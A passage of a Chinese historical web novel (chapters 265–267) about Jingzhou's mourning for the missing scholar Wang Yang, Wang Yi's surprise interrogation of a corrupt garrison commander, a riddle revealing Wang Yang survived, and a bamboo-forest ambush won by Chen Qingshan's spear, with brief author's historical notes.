注:严耕望先生论曰:“长史为府佐之首,故往往代府主行州府事......刺史因特殊事故离州、疾病、死亡,以及朝廷有意不任以事者,皆以长史代行州府事。”此说甚是。参严氏《魏晋南北朝地方行政制度》上册第三章。 第265章 斯人已去 使团遇袭,荆州震动。 在此之前,没人想到南蛮竟敢袭杀朝廷的钦命使团;更没人想到,那个在荆州风头无二、耀眼如星辰般的天才少年,竟然会因为这种事,被卷入到生死不测的大难中去。 学子们急了,世家也开始发力,一个个口信通过各种渠道被带给前线负责搜救的将校们,一重重压力加到相关衙司,即便平日里最懒散的官吏,都不得不打起十二分精神,全力应对来自各方的催促和打探。 永宁太守张珏忙得几夜都没睡好,书信一波接着一波,访客一茬接着一茬;至于禀帖公呈,请愿章启,那更是如流水般送进刺史府。汉界处候者如市,官道两侧全是帷帐,望之如连营!公私驿马、探问消息者昼夜来往。道场天师,亲执玉笏,设坛启祝;各寺香火,斋醮法会,日日不绝。 搞出如此阵势的原因自然不光是因为王扬。王揖作为持节特使,代天子宣诏抚慰,本来就是重要人物。更何况自开国以来,尚未有天使被杀之事。所以王揖生死,所关系的不仅仅是一家一姓,而很可能关系到整个荆州的局势走向。 对于外州人来说,虽然两个琅琊王一起遭难,但相比于生死牵扯甚大的台使散骑官,一个郡学子就显得无足轻重了,更不用说前者才是琅琊王氏的真正嫡系。 可在荆州却并非如此。 王揖初来乍到,王泰杜门不出,对于荆州人来说,真正生活在荆州,看得见,听得见的的琅琊王氏,就是那个意气风发、才高八斗的少年公子。他经义能压宿老,论学论得群儒俯首;他贵胄偏生不羁,营商营得众贾竞标。 他学深如此,却未困于典籍遂失了灵气,挥毫之际,足令千章失色。 他韵雅若斯,但不泥于清高而反生趣致,谈笑之间,便让满座生春。 他才辩无双,可常作洗耳之姿,从不霸谈席; 他身份虽贵,然少有凌人之态,往来俱欢颜。 不过要注意,他是‘少有凌人’,不是‘从不凌人’。如果有人要与王公子作对,那荆州人不免会劝他小心一些。他们会告诉他柳家四公子这辈子都不能坐牛车,会给他绘声绘色地讲一番王公子在郡狱中吃香雪楼的席面,而刘寅站在一旁,侍立布菜的场景。 王公子谦的时候是真谦,可傲的时候也真傲! 他说降粮价就降粮价,说破古文尚书,他就破古文尚书! 什么国公子,什么州长史,面对王公子的折扇,就只能折腰了。 学子儒生仰其渊深,士族子弟羡其才调,对手敌仇畏其锋芒,友朋伙伴醉其逸韵。 王揖官位再尊,血脉再贵,可在荆州人心中,不过是个陌生过客。而王扬才是那个真正活在荆楚风土里的,可以让人羡慕,让人嫉妒,让人期盼,让人痴狂,让人传讲故事追捧,也让有些憎恶者恨到牙痒痒的人。 可就算讨厌王扬的人也不得不承认,他实在是一个让人不得不注目的家伙,即便消失也消失得这样惊心动魄,这样地动山摇。 其实说消失不过是说着好听罢了。虽然尸体尚未找到,但其实所有人都知道,这次是凶多吉少。因为但凡王扬还活着,都不会到现在还没有消息,除非他像柳家公子一样被蛮人掳走。可如果真是如此,为何至今不见蛮人索要赎金? 不过即便希望再渺茫,对王扬的搜救也一直没有停止,比如刘昭、宗测四处奔走,请托关系;乐湛夫妇的多方联络,打探消息;乐小胖和庾于陵结伴去了永宁郡;谢星涵则倾其人脉财力,广布耳目,甚至一度主导了从虎头路到汾阳峡之间的军巡方向;又密雇了两支黑商队,潜入蛮境内暗访...... 宴席上,人们提起王扬,都是连连叹息。 “唉,才极招厄,遇奇难久。向使碌碌庸庸,或得终老牖下。颜回短命,贾谊早夭,盖天妒隽物,自古而然。” “是啊,王扬自己说过‘世道不怜才,佳人常误身。此是天地不仁。既赋灵秀,却使堕尘俗世。’如今再品此言,方知是语谶。既然天地不仁,世道不怜,那尘俗世岂能留久?晋时潘岳作诗说:‘投分寄石友(石崇),白首同所归。’后与石崇并斩于市,可谓‘白首同所归’也。 之前我与王扬同登南楼,见其为王孝伯作诔,是字带霜霰,笔挟风雷,气骨遒劲能屈铁!然下语哀郁太过,见之觉悲雄透纸,萧瑟满目。当时我便觉得王扬青春年少,本当如新桐初引,清露未晞,莹莹然以映朝阳也。怎却如寒松负雪,作此凌霜之态? 现在想来,乃此子胸中丘壑太深,眼中世相太透,史事读多,则心中难免有悲凉意,此之谓聪彻早哀,洞明先伤,才虽足佩,然恐非永年之兆。” “不错不错,正是如此。王扬《莫愁新乐》云‘当年拼却醉颜红’,《绿林山曲水联句》中又有‘同来多不复’之句,《王孝伯诔》言:‘ 鹤氅委尘兮,遗卷留香’、‘清流断绝兮,浊浪汤汤’,如今观之,皆诗谶也......” ...... 学堂内,一老儒手执书卷,正给弟子们讲学,讲到一处忽然停住,久久不言。众生问其故,答曰:“我方才所论有误。若王君在,此处当有驳诘,今寂无回响,再无人指谬矣......罢了,罢了。” 老儒把书一扔,罢课出门。 ...... 书斋里,一学子奋笔疾书,请朝廷剿灭蛮部,为衣冠复仇。写到“琅琊贵子,绝学葬入蛮烟里;江左英才,孤魂归向楚云间”一句时悬笔恍惚...... 他曾经写过一篇颇有名气的长文,名为《绸(筹)粮释论》,那时为生者辩诬,斗志昂扬,可谓一战成名;如今替死者伸冤,血气激发,不眠不休,恨不得亲眼见大军杀尽蛮部! 可现在想想,便是杀尽了又能怎样? 纵屠万人,不赎一魄;血染蛮荒,终难招魂。 斯人已去,夫复何言...... 墨滴无声地落在纸上,晕开一片灰暗的湿痕。 ..... 大宅内,一书生正闭目诵《王师尚书学笔录》,至某处遗忘,开书检视,记完后忽然蔑见案上小鼎,上刻“寿考天地,百祥臻侍”八字。他呆视半晌,突然拿起折扇,愤然一击! 鼎坠于地。 烛火爆了个灯花,映得鼎上“寿考”二字,扭如哭相。 ...... 酒楼上,一个中年人手持酒杯,正与好友侃侃而谈: “王扬当时说的时候我没驳他,为什么?因为我觉得他立说不易,不忍折他羽翼。但论学结束之后,我问了他一句话,就一句话——敢不敢和我论《尚书·禹贡篇》!当时就把他震住了!那个脸色呦,都不敢搭话。 不是我乱说啊!他是一句话都没敢说!向我打了个手势,便匆匆逃走!在场很多人看见了。 为什么不敢答?就是因为他知道,他整个立论的漏洞,就在《禹贡篇》上!所以根本不敢和我论!不过我也不贬低他,该说不说,王扬这个人,学问还是相当不错的,训诂学这一块有独到之处,和我在伯仲之间吧。义理上就差得有些多了。 这个人想当然的东西太多,他自己也知道,所以不敢接我的话。其实如果是一般的问题,他随便论一论,扬扬名,我都不会指出来。但这个问题不一样,说《古文尚书》是伪书,开玩笑,他人是伪的《古文尚书》都不可能是伪的!非毁圣贤典谟,天能饶他?所以才有了这次祸事,也算死得其所——” 砰! 门被踹开。 宗测站在门口,扫视全屋。 屋中一共三人,立即呵斥,宗测冷笑数声: “使斯人殁,令此辈存,天道宁论!” 三人正要开骂,宗测也不多说,上去就打! 刘昭的两个弟子听着隔壁噼里哐啷,恨不得立即过去助拳,可他们素来知道老师规矩,见老师一脸冰霜,都不敢动。 刘昭缓缓道: “我门下弟子是不可以打架的,不过,我可以。” 在两个弟子愕然的目光中,刘昭挽袖起身,利落地抄起一张食案便冲了出去...... ....... 王府内, 一个皇子正摩挲掌中铜币,神色晦暗。 一个侍女正缩在被中,偷偷啜泣。 ...... “哈哈哈哈哈!” “死得好!死得好!” “死得太好了!” 王泰大笑拍手,只觉长久以来,积在心中的憋闷感,终于一扫而空! 笑够之后突然又哭嚎了起来。 “哎呦我的五叔呦! 你死得惨呦! 天杀的蛮子呦! 无情的苍天呦! ......” 王泰捶胸顿足,干打雷不下雨。 一旁戴眼罩的男子听不下去了,说道:“大人节哀。” 王泰怒声:“节哀节哀!说得轻巧!敢情不是你五叔死了!” 男子不动声色道:“小人五叔早死了。” “哦,那咱俩真是同病相怜。告诉后厨,一会儿多加几道菜,以寄咱俩的哀思。”随即叹了口气:“‘七廉九锐,不如五巧’,嘿,再巧也巧不过命啊......” 男子问道:“可以实施计划了吗?” 王泰摇摇头,手拍着腿面,仿佛自言自语般,低声道: “还差一步,最后一步......” 第266章 只是当时未觉秋 安成戍往南五里,林木渐疏,山道渐宽,道口立着一家客栈(当时叫“客舍”),是方圆十里之内,唯一一家客栈。 此时客栈掌柜正站在山道口,手掌绞在一起,面色焦灼,不时引颈远眺。 没一会儿,三骑卷尘而至。为首的骑者是一个浓髯大汉,膀大腰圆,身着鲜亮武袍;身后两骑都穿军中便服,腰间配刀。 掌柜赶忙迎上,眼角堆起讨好的笑纹,为大汉牵马: “将军您可算来了!人都到了,巴巴得等着您呢!” “驴个秧的!到底多大生意?你说吧!咱看看!还他秧的非让咱亲自来!咋的,还能上百万啊?” 将军大模大样地下了马,说的虽然是见不得光的生意,但他嗓门很大,根本不做避讳。 掌柜信誓旦旦道:“这回绝对是大生意!具体多少小的也不知道,他们不跟我谈,只跟将军谈。” “驴个秧的,外地人就是事儿多!” 将军骂骂咧咧,大步向店里走,也不用掌柜引路,径直走到二楼一个雅间前,推门便入,掌柜小跑跟在后面,在屋外帮将军关了门。 屋内三人都不过三十岁,一人在坐,两人侍立,坐的那人见将军进屋,站起拱手,请将军入座:“将军请!” 将军扫了一眼,歪着头,大手指头一指屏风后: “后面有人!本将能感觉到!别躲了!赶紧出来!驴个秧的本将都亲自来了,还不露面?拿驾儿啊?” 一个四十岁左右的中年男子笑着从屏风后走出,全身上下都是一身富商打扮,唯独手上拿着一柄羽扇,看起来有些违和。 将军打量了男子几眼,坐下道:“你才是主事的吧?” “将军好眼力。来,给将军倒茶。” 之前侍立的两人应声去取茶具。 将军挥挥手掌: “别来这套,赶紧说正事儿!我这天天挺忙的,没功夫弄七弄八的——” 男子手中羽扇轻摇,不疾不徐道: “将军莫急。这是正宗的武阳茶,刚从蜀商手中买的,一两千钱,难得的新鲜。将军不妨一起品鉴一下,不耽误谈正事的。” 将军吃了一惊:“驴个秧秧踹,这是喝香料啊!那我得尝尝,看啥驴茶值这个价!” 说到这儿突然侧目:“你不是绸缎商吗?该不会是什么大姓吧?” 男子整裳拱手:“枝江王二,拜会将军。” 将军没听过什么枝江王家,估计连寒门都算不上,不过看这架势,应该也是当地大族吧?所以倨傲的神色收敛了一些,朝男子抱了抱拳,算是回礼。 等茶具摆上之后,将军催促道:“到底多大生意,你现在可以说了吧!” 男子问道:“多大的生意,将军都能罩得住吗?” 将军见对方似乎对他的能力存疑,哼了一声道: “这你放心!从安成岭一直到老鸦口都是我罩的。安成戍这片就没我摆不平的事!只要我点头,保你们顺顺当当过关!但什么时间出货,带几个人,走什么路线,都得听我的!入蛮之后你们要是有门路,那你们就自己卖;要是没有,我可以帮你们找,不过这个价钱另算,十抽二。另外永宁蛮的线最近断了,暂时找不了......对了,超两百万的生意我不接啊!不是罩不住,而是动静大,容易出事儿......” 说到这儿将军看向男子,纳闷儿道:“到底多大的生意啊?” 男子微微一笑:“和将军脑袋一样大的生意。” 将军一愣之间,过来倒茶的两人骤然发难! 一人闪电般扣住他的右腕,反手一拧;另一人则猛地按住他的后颈,狠狠将他上半身压在桌面上! “驴个秧的杂碎!敢来摸虎屁!知道本将是谁吗?!” 将军怒吼挣扎,可那两人手法极狠,一个膝盖顶住他的腰眼,另一个匕首已抵在他咽喉处! 男子悠然啜茶:“将军是安成戍戍将樊大旅,我知道的。” 樊将军额头青筋暴起,铜铃般的眼珠几乎要瞪出眼眶: “知道还不放开!本将一句话就能把你们剁碎了喂驴!!!” 男子放下茶盏,抬起眼眸:“将军知道我是谁吗?” 樊将军喘着粗气,鼻孔张得老大:“你不是王二吗?” 男子不紧不慢摇着羽扇:“王二是化名,真名是王揖。” “王一?王一咋的!本将管你一二的!等爷的兵来了——” “琅琊王揖。”男子羽扇一停。 樊将军声音卡在喉咙里,整个人呆住,活像只被雷劈了的野猪。 “你你你你您您不不是死死了吗?”樊将军舌头打了结。 王揖一笑:“运气好,没死成。所以就来拜访将军了。” “拜拜拜拜拜访末将?” 樊将军已经不敢挣扎了,可两腿抖似筛糠,连带着整张桌子都跟着颤动起来。 “是啊,难道樊将军不知道我来荆州做什么吗?”王揖语气惊异。 “出出使?” “还有呢?” “查查查案......”樊将军冷汗越来越多。 “对喽,我既要出使,又要查问蛮人潜入荆州腹地,劫走柳家公子一案。可我从来没说过,我要先出使,后查案呀!” 樊将军咬牙提起一口气,突然激动起来: “可......可这案子早都结了啊!是我部将张横麾下的一个队主喝酒误事,他都已经认罪了!我就是做做小生意,和我完全没关系啊!” “你做做小生意,然后让你部下认罪;有人做做大生意,然后让你把戍兵调开。调开戍兵本来是为了和永宁蛮做生意,可没想到有别的蛮部趁虚而入——” “没没没没没......” 樊将军急忙否认!大脑袋连晃。 “没?没什么?是没想到还是你没让部下认罪?又或者是没人让你调兵?没人让你调兵那就是自己调的。樊将军撤戍纳寇,好胆量!” 王揖神色,大为敬佩。 “不是不是不是!” 樊将军拼命否认!这次不光是脑袋,连整个身子都晃动起来! 王揖用羽扇一拍樊将军的头顶,清喝道: “到底是不是!驴个秧的给个准话!” ...... 一柄团扇落到雕案上。 乐夫人放下扇子,起身迎向一脸疲惫的丈夫,帮他换下官服,又从侍女手中接过浸了薄荷水的丝帕,为乐湛擦拭颈后。 一切妥当后,乐湛接过凉茶喝了一口,随即叹了口气,对夫人摇了摇头。 乐夫人喃喃道:“还没找到......” “这个时候还找不到,基本上可以断定.....”乐湛眼眸一黯,转而道:“叫高儿回来吧。” 乐夫人思忖片刻后说: “既然已经去了,就让他多待些时日吧,一来全了朋友之义,二来也免得以后生遗憾。” 乐湛先是点点头,随即迟疑道:“不过荆州要戒严了,再耽搁,回程不好走。” 乐夫人皱眉:“戒严?什么时候?” “不知道,军府那边传来的消息,还没下牒。” 乐夫人沉吟不语。 “怎么了夫人?” 乐夫人站起,踱了几步停住,转身道: “荆州要乱。” 乐湛一惊:“怎么说?” “荆州为什么要戒严?”乐夫人问。 “使团遇袭,戒严不是很正常吗?上次柳憕被劫,也戒严了一阵。” “上次不一样,上次是在荆州腹地,这次是在汉界之外。” 乐湛一怔:“.....蛮人袭杀使团,相当于已经与我朝交兵,戒严也是防备蛮人来攻。” “那为什么不在使团被截杀的消息传回后第一时间戒严,拖到现在才戒严?”乐夫人又问。 “这......许是又得到了什么新消息?” “还有,蛮人截杀使团,目的是什么?抢钱?只是疯了才这么抢。挑衅宣战?那截杀使团之后应该马上来打,缩回去是什么意思?” “这个我和几个同僚讨论过,永宁蛮和汶阳蛮交战已久,虽暂止干戈,但积怨已深。永宁蛮生怕朝廷和汶阳蛮谈判,尤其怕谈过之后通好,所以行险截杀使团,以阻其事。他们原本想的应该是秘密伏杀,然后再悄然退走。只是没想到被永宁太守撞破,非但损兵折将,更开罪天朝,可谓咎由自取。” 乐夫人望向窗外,目色深沉,缓缓吟道: “雷沉远壑声先闷,只是当时未觉秋。” 乐湛拍案赞道:“好句呀!”随即嘶了一声:“夫人的意思是......” 乐夫人收回目光: “夫君,要不我们还是有备无患吧?” “好,如何有备无患?” “把所有人手都招回来,部曲车马,全都集中到江陵,不,一半到江陵,另一半到......” 乐夫人沉吟不决。 乐湛道:“燕尾洲怎么样?” 乐夫人点头:“此是要冲,离江陵最近,不过若真有什么变故,燕尾洲乃必争之地,我们这点人恐怕立不住。夫君觉得绿林山如何?那儿有山墅可作依托,事若有紧急,又可退向深山。但绿林山确实比燕尾洲远一些,我也不知该怎么选,请夫君定夺。” “近了当然好,但立不住,去了也是白去啊!还是绿林山吧!” 乐湛拍板定夺! 想了想又道:“既然有可能乱,那还是让高儿回来吧。” “永宁新捷,兵威正盛。张珏破邱飞儿,又破永宁蛮,是个人物。真要有什么变故,江陵未必就比永宁安稳多少——” 乐湛断然道:“这不至于。江陵毕竟是州府所在,论城防论兵力论粮草,全荆居首。虽说是以防万一,但其实一般来讲,蛮人是打不到江陵的,就算真打到也破不了城。江陵还是安全的。”声音很是笃定。 乐夫人柔声道:“夫君说得是。不过咱们高儿毕竟是和庾家小郎一同去的永宁,若单独先回,恐有未洽。再者夫君是州部堂官,那么多双眼睛看着,召回部曲是未雨绸缪,但召回正为友尽义的儿子,难免被有心之人乱传乱议,高儿心中也未必愿意。夫君可以修书一封,请张珏代为看顾高儿,他一定尽力。不过到底召不召高儿回来,我也没有主意了,还是请夫君定夺。” “那......那就先让他在永宁吧!” 乐湛再次拍板,再次定夺! 唉,夫人虽聪明,但拿不定主意,还是得自己来呀....... 第267章 好槊 “我猜出来了。” 谢星涵放下纸条,神色平静。 小凝惊得声音发颤: “娘子真的猜出来了?!” 谢星涵睫羽低垂,手指微微捏紧: “我早该猜出来的,这个谜本就是为我准备的,难易刚好,只是这家伙故意出得刁钻,让我无法提前猜中,唯有听闻使团遇险的详情后,才能勘破谜底。只是......” 谢星涵停住不言。 小凝好奇问道:“只是什么?” 只是我之前猜得丧失信心,后来听到噩耗,方寸大乱,满心想着怎么救人,就更没心思猜谜了,不然不会直到今天才...... 谢星涵决定说谎,小声道: “只是他谜题设得太难,我一时间没想出来。” 小凝有些疑惑:“诶?娘子刚刚还说难易刚好——” 谢星涵大声: “你听不听谜底了?” “听听听!” 小凝立马不问了。 谢星涵指尖轻轻抚平纸条上的褶皱,一字一句地念道: “‘露垂垂,且回回,不似轻絮过帘飞。’‘露垂垂,且回回’有两重含义。第一重含义里,露代表泪,也就是泪垂垂,且回回,意思是让我收回泪不要哭,嘁!谁会哭?”谢星涵一哼。 “娘子你之前——” “你还听不听了!!!” 小凝马上捂紧嘴巴。 谢星涵深吸一口气,继续说道: “这二重含义是字谜,露就是水,水垂落则加于下字,也就是且字,水加且是‘沮’,即虎头路口之东的沮水!这也就是我说,他让我无法提前猜中的原因,因为那时我根本不会往‘沮水’上面想,唯有了解到他们出事地点的详情后,才能想出这个‘沮’字......” 小凝激动地小脸红红的,眼睛瞪得老大,发出呜呜呜的动静。 谢星涵无奈道:“把手放下说。” “天哪天哪天哪!娘子你真神了!好聪明!好厉害!”小凝大觉崇拜,尤其是有了之前自己乱猜的经历之后。 谢星涵摇头: “厉害的不是我,这个谜设得不深不浅,既不会太难让我猜不出,也不会太简单让我预先破解,是我听了消息、用了心思后刚好就能猜出来的程度,真是......狡猾。” 谢星涵现在对王扬非常之不爽! 小凝也听得心惊,不由感叹: “王公子真是心机深沉啊......” 谢星涵秀眉轻蹙,忍了忍,没忍住道: “什么心机深沉,这叫心思缜密,智计过人,小凝你不要乱用词......” 小凝:?????? “娘子,你不是刚刚说王公子狡猾......” “我说的不是那个‘狡猾’,而是‘佼华’,庸中佼佼的‘佼’,才华出众的‘华’,佼华。” 谢星涵一本正经地胡说八道。 小凝神色怀疑:“真的有这个词吗......” “那当然......” “典出——” “你到底听不听解谜了?!” 小凝瞬间坐正,小鸡啄米。 谢星涵先给小凝一个威慑的眼神,然后才开启小课堂模式: “‘不似轻絮过帘飞’要拆开来解,先说‘轻絮’。自古杨柳互训。《说文》言:‘杨,蒲柳也。’‘柳,小杨也’。故而柳絮亦称杨花,这是的‘絮’即暗指‘杨’字,乃王扬之‘扬’的借代。他怕我解不出这层,所以下面又说‘过帘飞’。絮凭风方能过帘,风吹絮为絮扬,絮飞亦是风扬,故‘轻絮过帘飞者’,扬也。还是‘扬’字的隐语。‘不似’的谐音是‘不死’,‘过’字则直取不改,和上句的沮水连在一起,此谜的谜底便是——” 谢星涵星眸如电,眉眼飞扬,在小凝惊呆的目光中,学着王扬的神态动作,反手一震,两指并拢,如剑回探,轻声掷道: “扬过沮水不死!” ...... 沮水之东,大竹岭上,密竹披山连谷,飒飒风摇。 王扬、陈青珊、王家四卫正在吃午饭。 四卫在外,兵器放在膝上,一边吃一边注意周遭动静。 王扬在内,倚着竹子坐在一块大青布上,就着肉脯、酱菜吃酸枣麨(chao)。这是一种用麦稻磨成面,和上酸枣汁后炒熟的干粮,给王扬吃得怀疑人生。 陈青珊坐在王扬身边,见王扬吃麨如咽药,便把手中的粳米枣糒(bei)递到王扬面前:“你尝尝我这个。” 粳米枣糒是把熟饭晒干后捣碎筛出,再拌上用蒸红枣榨出的膏汁,吃的时候用水一泡,有点像今天的米糊。王扬尝了一口,觉得还过得去,起码没有酸枣麨那种酸腻的感觉。 陈青珊见王扬吃得眉头舒展开来,有些欢喜,把枣糒塞到王扬手中:“你吃我这个吧!我吃酸枣麨。” 王扬赶紧劝阻:“酸枣麨不好吃......” 陈青珊认真道:“其实酸枣麨才好吃,里面还加了枣花蜜。” 不加还好点...... 不过每个人口味不同,小珊觉得好吃就行。王扬把自己吃过的地方掰掉,递给小珊:“下面的我都没碰。” 陈青珊接过,用很小很小的声音说道:“没关系的。” “什么?”王扬没听清。 “没宽力!”陈青珊慌张脱口。 “啥?”王扬一愣。 陈青珊自己也不知道自己说的是啥,结巴道:“我我我是说,我们吃完是接着休息吗?还是继续走?” 王扬想了想,让陈青珊附耳过来,低声说了一番,陈青珊越听神色越古怪,迟疑道:“这能行吗?” 王扬笑道:“左右没事,说着玩嘛,先吃,吃完再说。” 众人吃完饭,王扬酝酿了一下,然后仰天大笑,笑声不止。 按照王扬的交待,现在本应该陈青珊说“台词”了,可陈青珊还想着刚才“没宽力”的事儿,心思杂乱,再加上并非是像王扬这样的“老艺术家”,临场难免掉词。王扬正要给陈青珊使眼色,便听孙举问道:“公子为何发笑啊?” 王扬暗道一声接得好,当即抖擞精神,振袖而起,走出几步。陈青珊则持槊跟在王扬身旁。 王扬负手于后,朗声道: “我不笑别人,单笑主事者无谋,画策者少智。若是我设伏,预先在这儿伏一队人手,为之奈何?” 话音未落,竹影骤然破碎! 二十几名蒙面杀手从竹林深处窜出,剑光映着竹叶的冷绿,连成一片银网,呈半弧形向王扬等人奔来,如一柄快速收拢的折扇! 陈青珊和王家四卫立即挡在王扬身前。王扬不退不避,摇扇而立,眼看着他们渐近,扇子一收,一声高喝: “螳螂已至,黄雀何在!” 只听哗的一声,左右两侧竹奥低地里突然暴起一片人影! 积年的腐叶混着灰尘冲天腾卷,在半空中形成两道浑浊的叶幕。 叶片如蝗群般簌簌飞溅,三十余道刀光破叶而出! 柳家护卫从左右两侧杀出,对杀手们呈合围之势! 杀手首领只是略一犹豫,便剑指王扬,吼道:“先杀此人!” 众杀手完全不顾身后,如一头头猎豹扑向王扬!王家四卫及先到的柳家护卫上前阻杀,陈青珊保着王扬,向后退走。杀手首领绕过四卫,飞身跃起,剑尖直指王扬咽喉!剑光之快,让王扬根本来不及反应! 陈青珊左手拽住王扬手腕后拉,右手马槊下截! 只听金铁交鸣之声一震,剑刃立被格开! 首领剑势已偏,却未溃散,手腕一扭,内旋疾进,横劈而来! 好快! 陈青珊转身避开,双手持槊,一记横扫!然槊锋未至,槊杆却已被两竹架住! 首领趁势欺近,剑光如蛇信! 陈青珊急撤步,立槊回防,勉强挡住一剑。那首领应变极快,根本不收招再出,而是剑锋一颤,竟擦着槊杆,直绞而进! 电光火石间,陈青珊骤然松手,背身而转!同时右手如灵鹤探水,在视线未及的情况,精准地扣住旋转中的槊杆中段,一提一划! 背靠青筠腾鹤步,锋转流星走虬蟒。 一招将敌手连人带剑,逼退三步! 本来槊势未绝,更要再进,谁知手中长槊一滞,竟又被两侧竹身所阻! 陈青珊这柄槊四棱破甲,柘木为芯,流水磨纹,髹以朱漆,是柳惔命人选的良槊。其实论品质不比上柄槊差,只是没有槊名,所以不像“夜沉铁拂”那样显得高大上。 王扬见陈青珊失落,便亲自为此槊起名为“断霞”,取自张说“朱阙青霞断”之句,又说青珊用朱槊,断霞扫残云。寒光惊百鸟,冷魄慑千军。这断霞与青珊乃是绝配,比什么铁拂什么的有格调多了。给陈青珊听得美滋滋的,立时将此槊视为珍宝,爱不释手! 槊是好槊,名是好名,只是此处竹林太密,陈青珊一身高绝槊法施展不开,只几招之间便被逼得左支右绌,险象环生!手臂已被划出一道血口! 陈青珊抵挡不住,槊法已乱,被连环抢攻,完全没有机会重整阵势,只怕这一口气到底,自己便要死于剑下,急叫道:“公子快走!” 王扬哪里肯走,又不敢贸然上前分陈青珊心神,心急之下,手掌用力一拍,神色激动,大声吼道:“封叔刺他后心!” 首领一惊,方才只顾酣战,竟未察觉身后有人!赶忙闪身躲避,却见对方人手正被己方高手拼力截住,杀得难解难分,根本没人靠近!这才知道受骗,心下大怒,反身又上! 陈青珊一口气喘匀,捡回一命,正要再叫王扬快逃,只听王扬喊道: “崩云碎玉,断霞破竹!” 陈青珊凤眸一亮,凝气灌劲,霎那间,身形拔地而起,双臂借腰力猛然抡扫! 朱漆槊杆,弯弧成月;四棱锋刃,扫空如虹! 但听“咔嚓嚓”的裂帛之响—— 棵棵翠竹,应声炸裂! 漫天竹屑,纷扬如雾! 首领心知,一旦没有遮挡,让此人施展陈家槊,自己恐怕不是对手,当机立断,足下成风,侧身出剑如线,不退反进! 近身则赢,远攻则败! 那首领凭着剑走轻盈,迅疾身法,趁着陈青珊槊风未回之机,竟真让他抢至近前,手中寒光乍现,突进似流星! 陈青珊手腕一倾,急步回退,槊尖倒挑,槊尾在地上拖出一道长痕! 疾风掠影,惊破山河半式; 断霞凝霜,记取生死须臾。 生死一瞬之间,两人身形同时停住...... ...... 待尘烟落定,只见首领剑尖停在陈青珊咽喉半寸之前,而陈青珊铁板桥后仰,断霞槊自腋下斜出反刺,槊锋已没入首领心窝三厘。 此时四周翠竹尽毁,阳光再无阻碍地倾泻而下。 陈青珊在一片金黄中,转头望向王扬,嘴角扬起,轻声道:“断霞,好槊。” ———— 注:隋炀帝赐柳为杨遂称杨柳的说法来自《开河记》,乃唐宋小说家言。唐前杨柳互称,其例甚多。《战国策》记养由基擅射云:“去杨叶百步而射之。”《史记》同记此段言“去柳叶百步而射之”,非记述事实之异,而是当时行文之法,杨柳通用。不过宋之前古诗文中称“杨柳”,大多数情况下就是指柳,而非杨,亦非杨柳都有,类似偏义复词,或者同义连文。